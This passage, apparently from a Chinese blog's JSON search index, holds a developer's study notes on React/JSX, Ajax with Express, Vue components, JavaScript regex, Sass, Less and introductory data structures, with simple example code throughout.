\u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){ return yes.name; } const yes = { name: \u0026quot;react\u0026quot; }; const hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;; ReactDOM.render( hallo, document.getElementById(\u0026quot;app\u0026quot;) ); 当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react","title":"React学习笔记"},{"content":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express const express = require(\u0026quot;express\u0026quot;); // 导入path const patg = require(\u0026quot;path\u0026quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;))); app.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send(\u0026quot;hallo\u0026quot;); }); // 监听端口 app.listen(3000); console.log(\u0026quot;服务器启动成功\u0026quot;) nodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;}); }); json字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText); console.log(responseText) var str = \u0026quot;\u0026lt;div\u0026gt;\u0026quot;+ responseText.name +\u0026quot;\u0026lt;/div\u0026gt;\u0026quot;; document.body.innerHTML = str; 请求参数传递\nget请求\nhallo.open(\u0026ldquo;get\u0026rdquo;,\u0026ldquo;https://httpbin.org/get?name=hallo\u0026amp;pass=123\u0026quot;)\nvar hallo = \u0026ldquo;name=\u0026quot;+ names + \u0026ldquo;\u0026amp;pass=\u0026rdquo; + pass\n表单的数据获取\nhallo.value\npost请求参数\npost请求参数是保存到请求头中的报文，不像get是通过链接参数传输的\nhallo.setRequestHeader(\u0026ldquo;Content-Type\u0026rdquo;,\u0026ldquo;application/x-www-forn-urlencoded\u0026rdquo;)\nhallo.send(\u0026ldquo;name=root\u0026amp;pass=123\u0026rdquo;)\npost请求必须设置请求参数格式的类型\npost请求需要body-parser模块\nconst bodyParser = require(\u0026ldquo;body-parser\u0026rdquo;)\njson\nContent-Type属性：application/json\n{name: \u0026ldquo;root\u0026rdquo;,\u0026ldquo;pass\u0026rdquo;: \u0026ldquo;123\u0026rdquo;}\n将json对象转换为json字符串\nJSON.stringify()\najax错误处理\n获取http状态码\nhallo.status()\n","permalink":"https://chenjunlinabc.github.io/posts/54/","summary":"ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据\n关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html\najax需要网站环境下生效，需要web服务器，nodemon\napp.js\n// 导入express const express = require(\u0026quot;express\u0026quot;); // 导入path const patg = require(\u0026quot;path\u0026quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,\u0026quot;public\u0026quot;))); app.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send(\u0026quot;hallo\u0026quot;); }); // 监听端口 app.listen(3000); console.log(\u0026quot;服务器启动成功\u0026quot;) nodemon app.js\najax运行原理\najax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果\n创建ajax对象\nvar hallo = new XMLHttpRequest();\n请求方式和请求地址\nhallo.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;)\n发送请求\nhallo.send();\n获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据\nhallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中\n在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：\napp.get(\u0026quot;/hallo\u0026quot;,(req, res) = \u0026gt;{ res.send({\u0026quot;name\u0026quot; : \u0026quot;root\u0026quot;}); }); json字符串转换为json对象\nvar responseText = JSON.parse(hallo.responseText); console.","title":"Ajax学习笔记"},{"content":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const datas ={ template: ` \u0026lt;div\u0026gt; hallo \u0026lt;/div\u0026gt; ` } const hallo = Vue.createApp({ components: { \u0026quot;datas-a\u0026quot; : datas } }).mount('#app') \u0026lt;/script\u0026gt; components对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={ components: { \u0026quot;datas-a\u0026quot; : dataa } } 模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `\u0026lt;h1\u0026gt;{{abc.text}}-{{xyz.text}}\u0026lt;h1\u0026gt;` } }).mount('#app') 如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop\n传入数字\n传入布尔值\n传入数组\n传入对象\n单向数据流\n父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件\n父组件发生变化时，子组件的prop都会刷新为当前最新的值\n属性继承\n可以在组件中写属性，例如：\ntemplate: \\`\u0026lt;div class=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\\` 同样也是可以在组件写事件监听器之类的\n禁用属性继承\ninheritAttrs: false, template: \\`\u0026lt;div class=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\\` 包含未被props接收的参数\nthis.$attrs\n可以根据需求来传入属性，例如：\n\u0026lt;test class=\u0026quot;data\u0026quot;\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;div :class=\u0026quot;$attrs.class\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 父子组件之间通过事件进行通信\nvue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父\n因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件\n自定义事件\n如果定义了原生事件，那么组件的事件将会代替原生事件\nemits选项可以定义事件\n兄弟（非父子）组件数据交互\n通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信\n这个事件中心叫Vue事件总线（EventBus）\nlet hallo = new Vue()\n监听事件和销毁事件\nhallo.$on(\u0026ldquo;onadd\u0026rdquo;, onAdd)\nhallo.$off(\u0026ldquo;onadd\u0026rdquo;)\n触发事件\nhallo.$emit(\u0026ldquo;onadd\u0026rdquo;, id)\n组件插槽\nconst app = Vue.createApp({ template: ` \u0026lt;div\u0026gt; \u0026lt;hallo\u0026gt; \u0026lt;test/\u0026gt; \u0026lt;/hallo\u0026gt; \u0026lt;/div\u0026gt; ` }) app.component('test', { template: `\u0026lt;span\u0026gt;hahaha\u0026lt;/span\u0026gt;` }) app.component('hallo', { // props: ['num'], template: ` \u0026lt;div\u0026gt;hallo word \u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; ` }) const vm = app.mount(\u0026quot;#app\u0026quot;) 内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示\n当插槽使用了动态数据时，以根组件的data属性为准\n插槽默认值\napp.component('test',{ template:` \u0026lt;div\u0026gt; data：\u0026lt;slot\u0026gt;\u0026lt;span\u0026gt;hallo word\u0026lt;/span\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; ` }) 当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素\n具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配\n当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：\nconst app = Vue.createApp({ template: ` \u0026lt;test\u0026gt; \u0026lt;template v-slot:a\u0026gt;\u0026lt;div\u0026gt;我是第一个\u0026lt;/div\u0026gt;\u0026lt;/template\u0026gt; \u0026lt;template v-slot:b\u0026gt;\u0026lt;div\u0026gt;我是第三个\u0026lt;/div\u0026gt;\u0026lt;/template\u0026gt; \u0026lt;/test\u0026gt; ` }) app.component('test',{ template:` \u0026lt;div\u0026gt; \u0026lt;slot name=\u0026quot;a\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; \u0026lt;slot name=\u0026quot;b\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; ` }) const vm = app.mount(\u0026quot;#app\u0026quot;) 另外v-slot可以简写成#a\n作用域插槽可以访问子组件定义的数据，例如：\nconst app = Vue.createApp({ template: ` \u0026lt;test v-slot=\u0026quot;props\u0026quot;\u0026gt; {{props.item}} \u0026lt;/test\u0026gt; ` }) app.component('test', { data() { return { items: ['hallo', 'hahaha','abc','hallo word','xyz'] } }, template: ` \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026quot;(item, index) in items\u0026quot;\u0026gt; \u0026lt;slot :item=\u0026quot;item\u0026quot;\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; ` }) 其中props是子组件传递过来的数据（对象格式）\n简化作用域插槽写法\nconst app = Vue.createApp({ template: ` \u0026lt;test v-slot={item}\u0026gt; {{item}} \u0026lt;/test\u0026gt; ` }) 动态组件\nconst app = Vue.createApp({ data(){ return { hallo:'test' } }, template: ` \u0026lt;keep-alive\u0026gt; \u0026lt;component :is=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/component\u0026gt; \u0026lt;/keep-alive\u0026gt; ` }) app.component('test', { template: ` \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; \u0026lt;input /\u0026gt; ` }) 决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了\n而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染\n异步组件\nconst app = Vue.createApp({ data(){ return { hallo:'asyncs' } }, template: ` \u0026lt;keep-alive\u0026gt; \u0026lt;component :is=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/component\u0026gt; \u0026lt;/keep-alive\u0026gt; ` }) app.component('asyncs', Vue.defineAsyncComponent(() =\u0026gt; { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve({ template: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;` }) },1000) }) })) const vm = app.mount(\u0026quot;#app\u0026quot;) 可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能\nprovide/inject\n当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦\nconst app = Vue.createApp({ data(){ return {num: 100} }, provide:{ haha: 200 }, template: ` \u0026lt;hallo :num=\u0026quot;num\u0026quot; /\u0026gt; ` }) app.component('hallo',{ props:['num'], inject:['haha'], template:` \u0026lt;div\u0026gt;{{num}},{{haha}}\u0026lt;/div\u0026gt; ` }) 这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下\n\u0026ndash;\nVue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：\n\u0026lt;div id='app'\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const Test = Vue.extend({ template: '\u0026lt;p\u0026gt;{{a}} {{b}} {{c}}\u0026lt;/p\u0026gt;', data: function () { return { a: 'hallo', b: 'abc', c: 'xyz' } } }) new Test().$mount('#app') \u0026lt;script\u0026gt; 受控组件和非受控组件\n","permalink":"https://chenjunlinabc.github.io/posts/53/","summary":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const datas ={ template: ` \u0026lt;div\u0026gt; hallo \u0026lt;/div\u0026gt; ` } const hallo = Vue.createApp({ components: { \u0026quot;datas-a\u0026quot; : datas } }).mount('#app') \u0026lt;/script\u0026gt; components对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={ components: { \u0026quot;datas-a\u0026quot; : dataa } } 模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `\u0026lt;h1\u0026gt;{{abc.","title":"深入学习vue组件"},{"content":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;\n*相当于\u0026gt;=0，出现0次或者n次都返回true\nvar hallo = /a+/;\n+相当于\u0026gt;=1，出现1次或者n次返回true\nvar hallo = /a?/;\n?相当于 0 || 1，只要出现0次或者1次返回true\n{n}：重复n次\n{n,}：重复次数大于等于n次\n{n,i}：重复次数大于等于n，并且小于等于16\n量词是设定规则出现的次数\n例如：\nvar hallo = /^[a-zA-Z0-9_-]{6,16}$/; console.log(hallo.test(\u0026ldquo;hallo123\u0026rdquo;)); // true\nvar hallo = /(abc){3}/;\n将abc重复3次，abcabcabc才返回true\n预定义类\n预定义类指的是一些常用规则的简写，大小写敏感\n\\d：匹配0-9的任何数字 \\D：匹配所有0-9以外的字符，取反 \\w：匹配任何的字母，数字，下划线，相当于[a-zA-Z0-9_-] \\W：匹配任何的字母，数字，下划线以外的字符，取反 \\s：匹配空格（包含换行符，制表符，空格符等），相当于[\\t\\r\\n\\v\\f] \\S：匹配非空格，相当于[^\\t\\r\\n\\v\\f]\n\\b 单词边界 /\\bhello\\b/` \\B 除了单词边界\n[^] 除了 [] 选择 - 之间 | 或 ^ 匹配开头 $ 匹配尾\n替换\nreplace()，可以替换字符串或者正则表达式\nreplace(匹配字符串,被替换的字符串)\n字符串\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;hi\u0026rdquo;);\n正则表达式\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026quot;/hallo/\u0026quot;,\u0026ldquo;hi\u0026rdquo;);\n正则表达式参数\n/表达式/[修饰符]\n修饰符有3个值\ng：全局匹配\ni：忽略大小写\ngi：全局匹配+忽略大小写\n例如：\nvar hallo = \u0026ldquo;hallo\u0026rdquo;;\nhallo.replace(\u0026quot;/hallo|hi/g\u0026quot;,\u0026quot;*\u0026quot;);\n正向预查和负向预查\n正则捕获的懒惰性和贪婪性\n","permalink":"https://chenjunlinabc.github.io/posts/52/","summary":"正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象\nJavaScript创建正则表达式\n使用RegExp对象创建\nvar hallo = new RegExp(/123/);\n或者\nvar hallo = /123/;\n检查是否符合该正则表达式\n使用test方法判断字符串是否符合该规则的要求，返回的值是布尔值\nconsole.log(hallo.test(123));\n/123/只要包含123就返回true\n正则表达式元字符\n边界符（^和$）\n^表示匹配行首的文本（以谁开始）\n$表示行尾的文本（以谁结束）\nvar hallo = ^abc;\n必须要abc开头，如果是aabc的话，返回false\nvar hallo = abc$;\n必须要abc结尾，例如aabc，返回true\nvar hallo = ^abc$;\n^和$一起使用就是精确匹配，必须是abc，如果是abcabc的话，返回false\n字符类[]\nvar hallo = /[abc]/;\n只要包含a，b，c其中一个字符都匹配，返回true，例如axx\nvar hallo = /^[abc]$/;\n三选一，只有包含a，b，c其中单独的一个才匹配返回true，例如abc，就返回false\n范围符-\nvar hallo = /^[a-z]$/;\n多选一，a到z，包含26个字母任何一个字母都返回true，大小写敏感，A和a不一样\nvar hallo = /^[a-zA-Z0-9_-]$/;\n多选一，包含26个字母（包含大小写）任何一个字母和数字（0到9）和下划线其中一个都返回true\n取反\nvar hallo = /^[^a-z]$/;\n在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母\n量词符（*，+，?）\nvar hallo = /a*/;","title":"正则表达式学习笔记"},{"content":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中\n$right: right; #app{ margin-#{$right}: 50px; } 运算\n允许使用加减乘除运算\n#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：\n.nav{ padding: 100px; .nav-ul{ right: left; .nav-li{ margin: 10px; } }\u0026amp;:hover{ color: #ccc; } } 伪类或者伪元素需要在其前面加\u0026amp;\n继承\nsass可以将一个样式集继承到另一个继承集中\n.container{ width: 100px; } #app{ @extend .container; height: 100px; } 混合\n@mixin width{ width: 100px; } #app{ @include: width; } 混合和继承的区别就是，混合可以指定参数\n@mixin width($nums: 60px){ width: $nums; } #app{ @include: width(100px); } 函数\n提供了一下函数来处理颜色之类的\ngrayscale(#333)\n导入外部文件\n导入scss文件 @import \u0026ldquo;scss/hallo.scss\u0026rdquo;;\n导入css文件 @import \u0026ldquo;css/hallo.css\u0026rdquo;\n条件判断\n#app{ @if 100 \u0026lt; 60 { width: 100px; } @else { width: 60px; } } 循环\nfor\n@for $i from 1 to 6 { .col-#{$i} { border: #{$i}px solid #ccc; } } while\n$i : 6; @while $i \u0026gt; 0 { .col-#{$i} { width: 100px * $i; } $i : $i - 1; } each\n@each $nums in 1,2,3 { .col-#{$nums} { background-image: url(\u0026quot;/image/#{$nums}.jpg\u0026quot;); } } 自定义函数\n@function hallo($i) { @return ($i * 2) + 100; } #app { width: hallo(10px); } ","permalink":"https://chenjunlinabc.github.io/posts/51/","summary":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中\n$right: right; #app{ margin-#{$right}: 50px; } 运算\n允许使用加减乘除运算\n#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：","title":"CSS预处理器-Sass学习笔记"},{"content":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc; #app{ background-color: @color; } less编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{ width: 100px; a{ color: #000; \u0026amp;:hover{ color: @color; } \u0026amp;::before{ width: 30px; } } } less运算\n数值，颜色，变量都可以参与运算，加减乘除\n@width: 50px; #app{ width: 100px - 10; height: 100px * 3; div{ width: (@width / 30) * 6; } } #app{ color: #666 - #333; } 上面得到的是#333\n注意：\n如果有两个不同单位的值运算，运算结果单位取第一个值的单位\n如果有两个值，它们只要一个单位，取该单位作为运算结果单位\n运算符中间左右两边要有空格分开\n混合\n混合（Mixin）可以将一组属性从包含到另一个集合中，例如：\n.container{ max-width: 980px; margin-left: auto; margin-right: auto; } #app{ .container } 转义\n转义允许使用任意字符串作为属性或者变量值，例如：\n@max768: ~\u0026quot;(max-width: 768px)\u0026quot;~ .nav-svg{ @media @max768{ display: none; } } 函数\nless内置了多个函数，用于算术运算，颜色处理等等\n@width: 0.6; #app{ width: percentage(@width); // 60% } 映射\n映射支持less3.5以上版本，例如：\n#data(){ width: 100px; } #app{ width: #data[width]; } ","permalink":"https://chenjunlinabc.github.io/posts/50/","summary":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc; #app{ background-color: @color; } less编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{ width: 100px; a{ color: #000; \u0026amp;:hover{ color: @color; } \u0026amp;::before{ width: 30px; } } } less运算","title":"CSS预处理器-Less学习笔记"},{"content":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要